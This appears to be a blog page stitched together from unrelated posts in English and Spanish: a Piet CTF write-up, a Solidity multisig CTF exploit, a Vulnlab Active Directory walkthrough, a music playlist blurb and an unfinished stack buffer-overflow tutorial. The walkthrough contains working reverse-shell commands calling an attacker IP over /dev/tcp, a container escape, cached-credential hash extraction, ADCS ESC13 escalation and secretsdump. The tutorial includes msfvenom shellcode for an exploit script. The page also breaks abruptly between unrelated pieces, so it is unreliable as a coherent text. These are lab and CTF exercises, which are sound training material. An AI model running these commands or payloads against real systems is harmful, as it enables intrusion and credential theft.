That’s it. One small tweak and your system feels faster and more responsive. No extra packages, just native tools. Drop it into your dotfiles and forget about it.

It was a MISC challenge, Medium difficulty, and I’ll quickly walk you through how I solved it.

Challenge Overview

As soon as you landed on the page, you got the classic CTF home template vibe. But there was also a little poem that definitely hinted at what we had to do next:

If I eat one more piece of pie, I'll die!
If I can't have one more piece of pie, I'll die!
So since it's all decided I must die,
I might as well have one more piece of pie(t).
As long executing that piece of pie prints out `flag, oh my`,
MMMM–OOOH–MY!
Chomp–Gulp–'Bye.

Initial Analysis

While inspecting the page, I spotted a few key details

• The clever wordplay in “pie(t)”

• The very specific line: As long executing that piece of pie prints out flag, oh my

In the HTML source code

• The hint “print ascii… probably” in the animated text:

<span class="typed" data-typed-items="print ascii... probably"></span>
<br>

• The reference to “most colorful pie” in the paragraph:

<p>Mmmmm does my CPU ever like pie. And with the most colorful pie, we can...</p>

• The upload form accepted .png images only:

<form action="/run" method="post" class="php-email-form">
  <div class="form-group mt-3">
      <input type='file' name='pie' accept="image/png">
  </div>
  <div class="text-center"><button type="submit">Pie Time!</button></div>
</form>

All these clues pointed me straight to a programming language called PIET.

What is PIET?

Piet is an esoteric programming language where programs are represented as “bitmaps”, images, basically. It’s a wild mix of art and code.

One of its quirks is that it only uses 20 specific colors, and the execution flows based on how the brightness and hue change between color blocks.

Basically, the “CPU eats the image like pie,” which ties directly back to the name of the challenge: I Want Pie.

For more info: https://en.wikipedia.org/wiki/Piet_(programming_language)

Solving the Challenge

1️⃣ First attempt: a basic .png file

When you see an upload form, your mind races with possibilities. But the key was to figure out how it actually worked. So I just uploaded a sample.png and got this response:

Error: This is prooobably not pie my CPU can eat. I like ppm pie.

That’s when I realized that the server didn’t want a PNG file at all.. it was expecting a PPM file, not PNG like I initially thought.

2️⃣ Second attempt: converting to PPM

On my second try, I converted my PNG to PPM using an online converter. But that just gave me another error:

500 INTERNAL SERVER ERROR

At that point, it was clear: my Piet program wasn’t valid. I needed to find a real, working Piet code.

3️⃣ Finding valid examples

I started digging for functional Piet examples. I found this awesome gallery:
https://www.bertnase.de/npiet/picture.html

I grabbed a “Hello World” program that actually worked, and when I uploaded it to the challenge, I got:

Executing bytes, stdout: Hello, world!

Nice! All that was left was to tweak it to print something that would actually get me the flag.

4️⃣ Using an automatic Piet generator

After wasting some time on random online editors, I knew I needed to automate it. I found an old GitHub repo from about 9 years ago. Shoutout and link: https://github.com/sebbeobe/piet_message_generator

This Python script takes any text input and spits out Piet code that prints it. Fun fact: if the input is short enough, it even makes a picture of Platon reading a book about Piet.

git clone https://github.com/sebbeobe/piet_message_generator.git
pip install imageio pillow

python3 piet_gen.py

5️⃣ Cracking the challenge by going back to the poem

Like with any challenge, I tried a bunch of stuff, but here it was all about paying attention and going back to the start. Even though the poem said “prints out flag, oh my“, it wasn’t instantly obvious that this exact phrase was the only valid output.

I only confirmed it when I uploaded the “Hello, world!” Piet and saw it worked but didn’t give me the flag. That’s when I realized the server was comparing the program’s output directly to “flag, oh my”. So if I wanted the challenge to give me the flag, I had to make a Piet program that printed exactly that, with no extra characters.

And sure enough, that’s where the script I found earlier came in handy. After generating a new image with piet_gen.py that printed flag, oh my, I uploaded it and snagged the flag.. along with the First Blood:

En Arodor, un programa de crowdfunding de última generación impulsó investigaciones innovadoras. Impulsado por un smart contract, el programa tenía como objetivo recaudar fondos. Un consejo directivo supervisaba esta campaña, siendo responsable de finalizar el programa mediante un esquema de wallet multi-firma. Tu objetivo es explotar el contrato y robar los fondos, representando una amenaza para la noble misión científica de Arodor.

Info:

Private key           :  0x8c5791a5eedf0f28562d0e863116e4a1a19825c32606ca5a1efeabfbe3958cc5
Address               :  0xbD2297b04860d23a168421f5196f7EE0AAcF926a
Crowdfunding contract :  0xaf9955Fe74687503AFDa90fF9a3bd3F57F03F470
Wallet contract       :  0x454B7c647787819D73964E2a42C02480D7771B81
Setup contract        :  0x1364282cC6Eff85cED108ac337D330492891a086

Seteo variables para trabajar comodamente:

Private='0x8c5791a5eedf0f28562d0e863116e4a1a19825c32606ca5a1efeabfbe3958cc5'
Address='0xbD2297b04860d23a168421f5196f7EE0AAcF926a'
Crowdfunding='0xaf9955Fe74687503AFDa90fF9a3bd3F57F03F470'
Wallet='0x454B7c647787819D73964E2a42C02480D7771B81'
Setup='0x1364282cC6Eff85cED108ac337D330492891a086'
ETH_RPC_URL='94.237.53.203:47563'

Con eso configurado, descargue el challenge y dejé todo listo para empezar. El árbol de archivos en mi carpeta quedó así:

Acá es donde voy a empezar a leer y entender bien la lógica del sistema de votación y la función crítica closeCampaign() que es, básicamente, donde va a estar el bug que nos permite vaciar los fondos.

Campaign.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.18;

import {ECDSA} from "./lib/ECDSA.sol";

/// @notice MultiSignature wallet used to end the Crowdfunding and transfer the funds to a desired address
contract CouncilWallet {
    using ECDSA for bytes32;

    address[] public councilMembers;

    /// @notice Register the 11 council members in the wallet
    constructor(address[] memory members) {
        require(members.length == 11);
        councilMembers = members;
    }

    /// @notice Function to close crowdfunding campaign. If at least 6 council members have signed, it ends the campaign and transfers the funds to `to` address
    function closeCampaign(bytes[] memory signatures, address to, address payable crowdfundingContract) public {
        address[] memory voters = new address[](6);
        bytes32 data = keccak256(abi.encode(to));

        for (uint256 i = 0; i < signatures.length; i++) {
            // Get signer address
            address signer = data.toEthSignedMessageHash().recover(signatures[i]);

            // Ensure that signer is part of Council and has not already signed
            require(signer != address(0), "Invalid signature");
            require(_contains(councilMembers, signer), "Not council member");
            require(!_contains(voters, signer), "Duplicate signature");

            // Keep track of addresses that have already signed
            voters[i] = signer;
            // 6 signatures are enough to proceed with `closeCampaign` execution
            if (i > 5) {
                break;
            }
        }

        Crowdfunding(crowdfundingContract).closeCampaign(to);
    }

    /// @notice Returns `true` if the `_address` exists in the address array `_array`, `false` otherwise
    function _contains(address[] memory _array, address _address) private pure returns (bool) {
        for (uint256 i = 0; i < _array.length; i++) {
            if (_array[i] == _address) {
                return true;
            }
        }
        return false;
    }
}

contract Crowdfunding {
    address owner;

    uint256 public constant TARGET_FUNDS = 1000 ether;

    constructor(address _multisigWallet) {
        owner = _multisigWallet;
    }

    receive() external payable {}

    function donate() external payable {}

    /// @notice Delete contract and transfer funds to specified address. Can only be called by owner
    function closeCampaign(address to) public {
        require(msg.sender == owner, "Only owner");
        selfdestruct(payable(to));
    }
}

Setup.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.18;

import {Crowdfunding} from "./Campaign.sol";
import {CouncilWallet} from "./Campaign.sol";

contract Setup {
    Crowdfunding public immutable TARGET;
    CouncilWallet public immutable WALLET;

    constructor() payable {
        // Generate the councilMember array
        // which contains the addresses of the council members that control the multi sig wallet.
        address[] memory councilMembers = new address[](11);
        for (uint256 i = 0; i < 11; i++) {
            councilMembers[i] = address(uint160(i));
        }

        WALLET = new CouncilWallet(councilMembers);
        TARGET = new Crowdfunding(address(WALLET));

        // Transfer enough funds to reach the campaing's goal.
        (bool success,) = address(TARGET).call{value: 1100 ether}("");
        require(success, "Transfer failed");
    }

    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}

Entendiendo el objetivo y su lógica

El objetivo basicamente es: vaciar el contrato Crowdfunding para que isSolved() de true.
Esto se evalua en SETUP.SOL:

Ese TARGET es simplemente una instancia del contrato de Crowdfunding a la que se le transfirieron 1100 ETH cuando se deployea el SETUP. Osea, hay platita y hay que robarla.

¿Podemos interactuar directo con Crowdfunding?

Nop. El contrato Crowdfunding (que está definido dentro del archivo Campaign.sol), tiene una funcion publica llamada closeCampaign(address to) pero esta protegida como “Only owner”. Y el único que puede pasar esa verificación es el CouncilWallet, que fue seteado como owner durante el deployment.

El Bug?

Cuando miraba la función closeCampaign dentro de CouncilWallet, en un principio parece segura. Te pide una lista de firmas, chequea que cada firma sea de un miembro del consejo, que no esten duplicadas, etc.

Sin embargo hay un pequeño detalle interesante y es que en ningun momento se valida que haya al menos 6 firmas en el array!.

Ese if (i > 5) corta el loop si ya se tiene 6 firmas, pero no exige que las haya!. Esto valida que podriamos enviar una lista totalmente vacia haciendo que no se chequee nada.. luego se terminaria llamando a:

Crowdfunding(crowdfundingContract).closeCampaign(to);

Y como CouncilWallet es el owner del contrato Crowdfunding, la llamada pasa el require(msg.sender == owner), y se ejecuta:

selfdestruct(payable(to));

Por ende, se destruye el contrato y manda los 1100 ETH a donde le digamos.

Explotacion

Entonces, la solucion es mas simple de lo que parece.. Solo hay que hacer una llamada a closeCampaign(...) desde nuestro address con los siguientes requisitos:

• Un array vacío ([]) como firma

• La dirección CouncilWallet como destino (para simplificar, se podria usar nuestro address tambien si queres recuperar los fondos, pero como el reto nos pide que el balance de Crowdfunding sea 0, con CouncilWallet alcanza)

• Y por ultimo la address del contrato Crowdfunding

cast send $Wallet 'closeCampaign(bytes[] memory, address, address)' '[]' $Wallet $Crowdfunding --private-key $Private

Si verificamos la funcion isSolved():

cast call $Setup 'isSolved() (bool)'

Nos da TRUE, solo resta ir por nuestra flag :)

INFO & NMAP

# User
- Decrypt the PDF & log into Kibana (Usernames in Kibana are case-sensitive)
- Get a shell via Synthetics (you will likely need the API as the UI does not allow everything)
- Escape the container


# Root
- Look into ADCS

10.10.222.101 | WINDOWS

PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
5601/tcp  open  esmagent
8220/tcp  open  unknown
9200/tcp  open  wap-wsp
9389/tcp  open  adws
49664/tcp open  unknown
49670/tcp open  unknown
49672/tcp open  unknown
61915/tcp open  unknown
61924/tcp open  unknown
61935/tcp open  unknown
61948/tcp open  unknown
62022/tcp open  unknown

10.10.253.102 | LINUX

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 96:c0:d7:90:bb:cc:77:16:c6:e1:a5:03:f1:ca:5c:25 (ECDSA)
|_  256 12:23:db:bb:d8:56:3e:14:19:71:04:34:2c:22:49:65 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Vigilant Cybersecurity
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

FOOTHOLD

SMB

Como no tenemos credenciales, lo primero que hago es enumerar SMB en busca de algún tipo de acceso. Verifico que el usuario GUEST está habilitado:

nxc smb 10.10.222.101 -u 'guest' -p '' --shares

Se encuentran dos carpetas, pero la más interesante y con contenido es ITShare:

smbclient //10.10.222.101/ITShare -U 10.10.222.101\guest%''

Al parecer el contenido está relacionado con reportes y auditoría en AD, así que descargo todo para analizarlo localmente.

Para bajar todo sin que me pida confirmación en cada archivo:

recurse on
prompt off
mget *

Dentro de la carpeta IT_Support/ADAuditReports hay un pdf Password_Strength_Report_encrypted.pdf el cual parece estar encriptado.

Intenté crackearlo sin éxito, así que lo dejo por ahora y me enfoco en los otros archivos.
Busco referencias a palabras clave como username o password que puedan ayudarme a acceder al PDF u otro recurso:

grep -rniE "username|password" .

Al revisar ADAudit.DLL con dnSpy (emulándolo con WINE en mi caso), veo funciones de encriptado y chequeo de contraseñas débiles desde un .txt. Lo mas importante es que encuentro credenciales:

Credenciales encontradas

Funcion de Encriptado de archivos:

Bloodhound Python y Desencriptando el PDF Report file

A partir de ahora contamos con dos posibles caminos, en principio enumero el AD para tener un mejor enfoque del entorno, con bloodhound-python obtengo la informacion para revisarla luego:

bloodhound-python -u "svc_auditreporter" -p "<REDACTED>" -ns 10.10.222.101 -d "vigilant.vl" -c all --dns-tcp --zip

Por otro lado, es posible tratar de crear un binario para revertir la funcion de encriptado que habiamos encontrado reverseando el DLL del Audit, y asi poder abrir el archivo del PDF Report.

Este es el codigo final que me funciono:

using System;
using System.IO;

namespace ninja_decoder
{
    internal class HiddenOps
    {
        static void Main(string[] args)
        {
            DecryptData("Password_Strength_Report_encrypted.pdf", "pdf_desencriptado.pdf");
        }

        static byte[] K(int s)
        {
            byte[] b = new byte[s];
            new Random(12345).NextBytes(b);
            return b;
        }

        static void S(ref byte[] d)
        {
            for (int i = 0; i < d.Length - 1; i += 2)
            {
                byte t = d[i];
                d[i] = d[i + 1];
                d[i + 1] = t;
            }
        }

        public static void EncryptData(string iF, string oF)
        {
            if (!File.Exists(iF)) throw new FileNotFoundException();
            byte[] c = File.ReadAllBytes(iF), k = K(c.Length);
            for (int i = 0; i < c.Length; i++)
            {
                c[i] ^= k[i % k.Length];
                c[i] = (byte)((c[i] << 4) | (c[i] >> 4));
            }
            S(ref c);
            File.WriteAllBytes(oF, c);
        }

        public static void DecryptData(string iF, string oF)
        {
            if (!File.Exists(iF)) throw new FileNotFoundException();
            byte[] c = File.ReadAllBytes(iF), k = K(c.Length);
            S(ref c);
            for (int i = 0; i < c.Length; i++)
            {
                c[i] = (byte)((c[i] << 4) | (c[i] >> 4));
                c[i] ^= k[i % k.Length];
            }
            File.WriteAllBytes(oF, c);
        }
    }
}

Desde un sistema Linux puede ser rapidamente compilado y ejecutado con mono, no hace falta un Windows:

mcs -out:decoPdf.exe decoPdf.cs
mono decoPdf.exe

Finalmente podemos obtener el contenido del archivo que para sorpresa nuestra contiene varias credenciales:

Spraying de credenciales

Guardo las credenciales en users.txt y pass.txt, y hago un spraying:

nxc smb 10.10.222.101 -u users.txt -p pass.txt --shares --continue-on-success

Veo que la password de Pamela.Clark expiró en Windows, pero en Linux sigue funcionando. Intento loguear con:

Pamela.Clark@vigilant.vl

Por ende probamos el ingreso y nos dice que tenemos que cambiarla, seteo uno nuevo y logueamos:

Una vez dentro, veo rastros de un Docker/Elastic Agent corriendo y referenciado al Domain Controller:

Elastic: Es una plataforma de búsqueda y análisis de datos en tiempo real. Su componente principal es Elasticsearch, que almacena, indexa y busca datos.

Kibana: Es la interfaz gráfica de Elastic. Permite visualizar y analizar los datos de Elasticsearch con gráficos, dashboards y herramientas interactivas.

Esta corriendo en el puerto 5601, en el output del DC podemos verlo:

Elastic/Kibana | 5601/tcp

Desde el browser accedo y reutilizo las credenciales de Pamela (las del PDF que habían expirado).

Una vez logueado lo primero que hago es revisar los roles y permisos. Vemos que Pamela tiene SUPERUSER role:

Ahora que tengo acceso a Kibana con permisos de SUPERUSER, el siguiente paso es investigar los Fleet Agents, que permiten la administración centralizada de agentes Elastic en los distintos hosts del dominio..

Este link de referencia me ayudo bastante para entender mejor: https://www.elastic.co/guide/en/fleet/master/fleet-overview.html

Accediendo aca podemos observar los agents: http://dc.vigilant.vl:5601/app/fleet/agents

Recordando las hints que daban al momento de iniciar la maquina veo que aplica lo siguiente:

• Get a shell via Synthetics (you will likely need the API as the UI does not allow everything)

Synthetics es una funcionalidad utilizada para monitorear y probar si un sitio web funciona correctamente. Permite la ejecución de scripts automatizados para simular interacciones de usuario y detectar posibles problemas de rendimiento o disponibilidad.

El uso de Kibana Synthetics nos permite ejecutar scripts en el entorno de Kibana. Si podemos modificar un monitor existente o crear uno nuevo con código malicioso, podríamos lograr RCE en el target.

Si nos dirijimos a http://dc.vigilant.vl:5601/app/synthetics, vemos lo siguiente:

Tenemos un monitor ya creado en la Pagina de Marketing. (Que es el server 80/http de la IP de Linux). Si probamos editar el monitor vemos que esta corriendo un script en el cual podriamos intentar modificarlo y ver que sucede:

Intente obtener una revshell con bash, pero obtuve un mensaje de error:

Runs Synthetic test scripts that are defined inline. Monitor script is invalid. Inline scripts cannot be full journey scripts, they may only contain step definitions.

Sin embargo, si trato de hacer un LFI con file:// funciona:

step('Go to http://localhost', async () => {
  await page.goto('file:///etc/passwd');
});

Creando una revshell journey via Synthetics

Pero como podria obtener una revshell?. Bueno perdi bastante tiempo buscando el modo para ser honesto. Luego de varias horas logre encontrarlo y es creando un journey.

Si queremos ejecutar código más allá de una simple verificación de carga de una página, no podemos depender solo de un monitor, ya que su función es limitada. En cambio, necesitamos un journey, que nos permite definir acciones más custom/avanzadas dentro del entorno de Synthetics, seria como un step-by-step.

Con un poco de ayuda de Google:

Reference:

• https://www.elastic.co/guide/en/observability/master/synthetics-create-test.html#synthetics-request-param

• https://www.elastic.co/guide/en/observability/master/synthetics-create-test.html#synthetics-create-journey

Y otro poco de ayuda de ChatGPT realice estos pasos localemente en mi pc atacante:

npx @elastic/synthetics init elasticRev

Siguiendo el output, podemos generar una API KEY desde ese path:

Finalmente quedaria asi:

Modificando el example.journey.ts creo lo siguiente:

import { journey, step, monitor } from '@elastic/synthetics';
import { exec } from 'child_process';

journey('Reverse Shell Exploit', async () => {
  monitor.use({
    id: 'exploit-monitor',
    schedule: 10, // Ejecuta cada 10 segundos
  });

  step('Trigger Reverse Shell', async () => {
    exec('bash -c "bash -i >& /dev/tcp/10.8.0.147/9000 0>&1"', (error, stdout, stderr) => {
      console.log(stdout);
      console.error(stderr);
    });
  });
});

Solo resta hacer un PUSH del journey:

npx @elastic/synthetics push --auth <API_KEY>

En principio pense que todo estaba mal al ver esto, pero luego en la web vi los monitores creados:

Luego de unos minutos y con un netcat escuchando en el puerto 9000:

Como ya sabíamos, esto esta corriendo en un DOCKER. Y si leemos una vez mas la hint inicial de vulnlab:

• Escape the container

El camino esta muy claro, sabiendo que el agente de elastic es parte del grupo root:

curl --unix-socket /run/docker.sock http://localhost/containers/json

Vamos a explotar esto con una tool conocida DEEPCE:

• https://github.com/stealthcopter/deepce

Dejamos un netcat en el puerto 6000 en mi caso y desde el target descargamos el deepce.sh, le damos permisos de ejecucion y lo ejecutamos:

./deepce.sh --exploit SOCK --command "bash -c 'bash -i >& /dev/tcp/10.8.0.147/6000 0>&1'"

Obtenemos la shell y también leemos la flag desde el USER.TXT. Pero nos damos cuenta que tenemos una shell bastante restringida. Generando una SSH en el ROOT podemos conectarnos desde nuestra maquina atacante y vamos a recibir la terminal estable y funcional.

Enumeracion & Cache_Credentials

Ejecuto linpeas.sh y nos arroja que el cache_credentials esta habilitado:

La opción cache_credentials = True que aparece en la configuración de SSSD (System Security Services Daemon) significa que las credenciales de los usuarios autenticados se almacenan en caché localmente.

Esto permite autenticaciones sin conexión al AD, pero también expone la posibilidad de extraer hashes o credenciales desde /var/lib/sss/db/, lo que podría ser explotado para ataques como pass-the-hash o escalada de privilegios.

En linux hay un comando llamado tdbdump, que sirve para leer bases de datos TDB (Trivial Database). Referencia a una maquina de HTB: https://0xdf.gitlab.io/2023/04/01/htb-sekhmet.html

tdbdump cache_vigilant.vl.ldb |grep cachedPassword

Creamos un archivo para el hash y lo crackeamos con hashcat:

Chequeando los permisos desde Bloodhound

Si ahora retomamos con lo que al principio habiamos enumerado sobre el AD, observamos que GABRIEL.STEWART pertenece al grupo de JUNIORADMINS y este posee CanPSRemote:

Cuando intente conectarme me decia que la contraseña habia expirado asi que opte por cambiarla y use smbpasswd:

smbpasswd -r vigilant.vl -U "gabriel.stewart"

Ahora si logueo via evil-winrm:

evil-winrm -i 10.10.222.101 -u gabriel.stewart -p '<REDACTED>'

Escalada a Domain Admin vía ADCS (ESC13)

Mientras enumero el sistema, noto la presencia de Active Directory Certificate Services (ADCS):

Enumero con certipy y luego cargo los .json en bloodhound (con un fork de pki nodes for certipy):

certipy find -vulnerable -u gabriel.stewart@vigilant.vl -p "<REDACTED>" -dc-ip 10.10.222.101 -stdout

Nuestro usuario tiene permisos de ENROLL sobre la plantilla VIGILANTADMINS. Dejo una referencia de una web muy completa y que me ayuda mucho en casos similares:

Reference: https://www.thehacker.recipes/ad/movement/adcs/

Este caso corresponde al ataque ESC13, que permite escalar privilegios abusando de una Issuance Policy mal configurada.

Si en un entorno con Active Directory Certificate Services (AD CS) encuentro una plantilla de certificado que tiene una Issuance Policy vinculada a un grupo privilegiado mediante msDS-OIDToGroupLink, puedo abusar de esta configuración para escalar privilegios en el dominio.

Básicamente, si puedo obtener un certificado basado en esta plantilla, mi cuenta (usuario o máquina) heredará los privilegios del grupo vinculado, lo que puede significar acceso total al dominio.

Hay un script .ps1 que me va a permitir verificar esto rapidamente:
https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1

El contexto del output es bastante claro pero si buscamos sobre Temporary Admins:

Considerando esto, nos permitiría obtener privilegios de administrador en el DC.
Por ende solo deberiamos solicitar el certificado con CERTIPY de la siguiente manera:

certipy req -u 'gabriel.stewart' -ca vigilant-CA -target DC.vigilant.vl -template 'VigilantAdmins' -dc-ip 10.10.222.101 -key-size 4096

certipy auth -pfx gabriel.stewart.pfx -dc-ip 10.10.222.101

Y finalmente:

export KRB5CCNAME=gabriel.stewart.ccache
secretsdump.py -k DC.vigilant.vl

Como ya tenemos el ticket, podemos loguear directamente con evil-winrm y configurando un realm en /etc/krb5.conf

[libdefaults]
        default_realm = VIGILANT.VL

[realms]        
        VIGILANT.VL = {
                kdc = 10.10.222.101
                admin_server = vigilant.vl
                default_admin = vigilant.vl
        }
[domain_realm]
        .vigilant.vl = VIGILANT.VL

evil-winrm -i dc.vigilant.vl -r vigilant.vl

It blends Techno, Melodic Techno, Progressive House, Minimal, High-Tech Minimal, Psytrance, and Progressive, with strong Cyberpunk and Dark Techno vibes. You’ll find artists like Reinier Zonneveld, Boris Brejcha, ARTBAT, Amelie Lens, Infected Mushroom, Astrix, Vini Vici, and many more. The playlist is still growing.

YouTube Music
https://music.youtube.com/playlist?list=PLRCkQN5gKEVkmNWcyZCu_-Fddvz8iurEc

Spotify too
https://open.spotify.com/playlist/3QA5MeyQuxplbsEOfG2JNg?si=70d35360c1f54b89

O conocido en español como: Desbordamiento de Buffer. En principio podemos decir que se distinguen dos tipos primarios de buffer overflow; estos son los desbordamientos de buffer basados en la pila (STACK) y los desbordamientos de buffer basados en el montón (HEAP).

Un desbordamiento de buffer ocurre cuando un programa intenta llenar un bloque de memoria (un buffer de memoria) con más datos de los que este debería contener. Los BoF son vulnerabilidades comunes en aplicaciones de software que se pueden explotar para lograr la ejecución de código remoto (RCE) o realizar por ejemplo un ataque de Denegación de Servicio (DoS).

Nuestro programa vulnerable: b0fMe.c

// Simple BufferOverflow <shkz>

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

void myfunc(char *pwn){
    char buffer[250];
    strcpy(buffer,pwn);
    setuid(0);
    printf("No sos un buen hacker\n");}
int main(int argc, char *argv[]){
    if(argc <2) {
    printf("Usage: ./b0fMe <input>\n");
    exit(1);
    }
    myfunc(argv[1]);
    return 0;
}

¿Porque es vulnerable?.

En la función , se declara buffer con un tamaño fijo de 250 bytes. Sin embargo, el programa no verifica si los datos proporcionados en el argumento pwn exceden ese tamaño.

Luego el programa utiliza la función para copiar la cadena de caracteres desde pwn al buffer. no realiza comprobaciones de límites y simplemente copia datos ciegamente haciendo que sobrescriba la memoria adyacente a buffer.

Y como extra, le pusimos un setuid(0); para que la shell que nos de tenga permisos de root.

Deshabilitando las protecciones

En este primer binario vamos a deshabilitar todas las protecciones, y luego a medida que vaya publicando nuevos textos ire habilitandolas e iremos tratando bypassearlas una por una.

Deshabilitar ASLR

Mas adelante explicare que es esto en profundidad, pero en principio quedarse con el concepto de que Address Space Layout Randomization es una técnica de seguridad que intenta dificultar la explotación del binario agregando una aleatoriedad a las direcciones de memoria que se cambian cada vez que inicia el programa y así hacer mas impredecible la explotación del mismo.
Por default en mi caso de Arch el valor esta en: 2, vamos a deshabilitar con 0.
(Al reiniciar el sistema, esto se restablecerá. Para hacerlo permanente tienen que hacerlo via sysctl)

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Compilando con GCC: Deshabilitando CANARY, NX, PIE.

Como es un código en C, tenemos que compilarlo y para esto lo haremos del siguiente modo deshabilitando algunas protecciones al mismo:

Primero compilaremos esto como ROOT, con las siguientes flags deshabilitamos protecciones y con -g le decimos que adjunte el source code para mayor claridad al momento de debuggear:

gcc -no-pie -fno-stack-protector b0fMe.c -o b0fMe -D_FORTIFY_SOURCE=0 -g -z execstack
chmod +s ./b0fMe

Ejecutando nuestro binario vulnerable: b0fMe

Este binario se enfoca simplemente en el bof. No tiene mucho por hacer. Mas que un mensaje desafiante de respuesta:

Haciendo BoF desde el INPUT

Algo muy practico y rápido es ejecutar el binario e invocar la ayuda de python o perl para imprimir bytes rápidamente y testear el buffer. Testeamos con 300 bytes:

./b0fMe $(python3 -c 'print ("A" * 300)')

Como vemos logramos el Segmentation Fault. En pocas palabras, desbordamos el buffer. Algo lógico conociendo la capacidad que este tenia.

¿Que es un Segmentation Fault?

Un fallo de segmentación (de ahora en mas: segfault) es una condición común que causa que los programas se bloqueen o se detengan. Generalmente ocurre cuando el programa intenta acceder/escribir a una posición de memoria a la que no está permitido.

¿Como vamos a explotar este binario?

Para explotar este BoF optaremos por pensar en lo siguiente:

• Detectar con cuantos Bytes se rompe el programa, el cual nos permitirá sobrescribir el registro RBP.

• Crear alguna shellcode que nos permita luego ejecutar /bin/sh

• Cambiar el flujo del programa con el registro RIP para que apunte a nuestra shellcode.

• Al explotar finalmente, seremos obtendremos shell como root.

Usando gdb-gef para debuggear el binario

Voy a usar GDB con algunos auxiliares para reversing y explotacion de binarios. En este link pueden ver cuales recomiendo y como configure dichos complementos:

https://myhack.tech/blog/complementos-de-reversing-y-exploiting-para-gdb/

• gdb-gef

• gdb-pwndbg

• gdb-peda

Ejecutamos gdb-gef para depurar el binario:

gdb-gef -q ./b0fMe

Dentro de gdb-gef, podemos utilizar una función llamada pattern create para generar un patron de caracteres del siguiente modo:

pattern create 300

Al igual que hicimos con el oneline de python, con esta función generamos un patron de caracteres que nos va a permitir identificar de forma mas fácil cuando desborda y sobrescribe el registro RBP.

Cuando creamos un pattern, este se genera con un nombre predefinido, en este caso: “$_gef1”:

A continuación corremos el binario y le pasamos el payload creado como input:

gef run $_gef1

Vemos que GDB nos informa que termino el programa en segfault, justo en la función vulnerable que es donde se encuentra el buffer:

Si ahora miramos el valor de los registros, vamos a ver lo siguiente:

$rbp contiene parte del patron enviado en el payload, y este nos puede ser util para localizar el offset con la siguiente función: pattern search haaaaaab:

Bien, nos hacemos la idea de que vamos a necesitar enviar 256 bytes para sobrescribir RBP, luego los próximos 8 bytes son dedicados al SFP (Stack Frame Pointer | Marco de Pila) y finalmente 6 bytes mas para controlar RIP.

Vamos a ejemplificar esto ultimo para entenderlo mejor. Ejecutemos el siguiente payload y comprobemos si es acertada nuestra idea o no, si todo sale bien, deberíamos tener el control de RIP:

r $(perl -e 'print "A"x256')BBBBBBBBCCCCCC

Ahora si miramos los registros:

i r rbp rip

Vemos que $rbp fue modificado con los 8 bytes que le enviamos de la letra B (0x42) y luego el registro instruction pointer $rip fue modificado a los 6 bytes de la letra C (0x43).

Como vimos, $rip apunta a 0x434343434343, por eso es que gdb lo marca con un ??, al no ser una dirección real.

En resumen, con esto sabemos que podemos hacer un BoF, modificar el rbp y controlar rip. Entonces solo queda craftear una Shellcode para explotar el binario y obtener una /bin/sh, y como controlamos RIP apuntara a nuestra shellcode.

NOP Slide

Es una técnica muy vieja y conocida. Se basa en generar una secuencia de instrucciones NOP (No-Operation) donde se redirige la ejecución del programa cuando un objetivo de una instrucción no se conoce exactamente.

Cuando escribimos un exploit para aprovechar alguna vulnerabilidad en un programa, es esencial pensar que dicho programa puede ser compilado en diversos entornos, resultando en direcciones de memoria distintas.

Para encarar este problema, se recurre a una técnica llamada NOP slide, que implica dirigir la ejecución del programa hacia una región de memoria llenas de instrucciones NOP. La instrucción NOP en lenguaje ensamblador está diseñada para no hacer nada básicamente.

Entonces en nuestro ejemplo, cuando creamos el exploit la dirección de retorno apuntara hacia algunas direcciones de las instrucciones NOP que les enviamos al buffer, permitiendo que la ejecución continúe directamente hasta el inicio del shellcode sin ningún problema. De este modo no necesitaríamos con exactitud saber la direccion de donde comienza nuestra shellcode.

Para determinar cuántas instrucciones NOP necesitamos, se realiza un cálculo restando la longitud de nuestro shellcode al tamaño total del buffer.

Creando nuestra shellcode con MSFVENOM.

Una shellcode es un fragmento de código de instrucciones en lenguaje ensamblador y trasladadas a opcodes que suelen ser inyectadas en la pila (o stack)
de ejecución de un programa para conseguir que la máquina en la que reside se
ejecute la operación que se haya programado. Por ejemplo aprovechar para realizar acciones específicas, como en este caso, obtener una shell (/bin/sh) u otorgarle SUID Root.

En esta ocasión vamos a generar un shellcode con MSFVENOM. Sin profundizar mucho en esta ocasion, ya luego veremos sobre la creación de shellcodes, eliminación de badchars, etc etc. De momento para este caso, lo creo del siguiente modo:

msfvenom -p linux/x64/exec --platform linux -f c -b '\x00\x09\x0a\x20\x0d'

Una vez que tenemos nuestra shellcode. Vamos a crear un pequeño script en python llamado “exploit.py“. Iremos haciéndolo paso a paso.

Creacion del exploit: exploit.py

1. Escribiendo la shellcode

Lo primero que debería tener este template del PoC es la shellcode, ya que es lo primero asegurado que tenemos:

import sys

# Shellcode -- /bin/sh @ msfvenom

shellcode = b"\x48\x31\xc9\x48\x81\xe9\xfd\xff\xff\xff\x48\x8d\x05\xef"
shellcode += b"\xff\xff\xff\x48\xbb\xb5\xfb\xfb\x9b\xfe\x95\x0c\x70\x48"
shellcode += b"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xfd\x43\xd4"
shellcode += b"\xf9\x97\xfb\x23\x03\xdd\xfb\x62\xcb\xaa\xca\x5e\x2e\xdf"
shellcode += b"\xc0\xa3\x94\xfb\x95\x0c\x70";

2. Escribimos NOPs y calculamos espacio para la shellcode

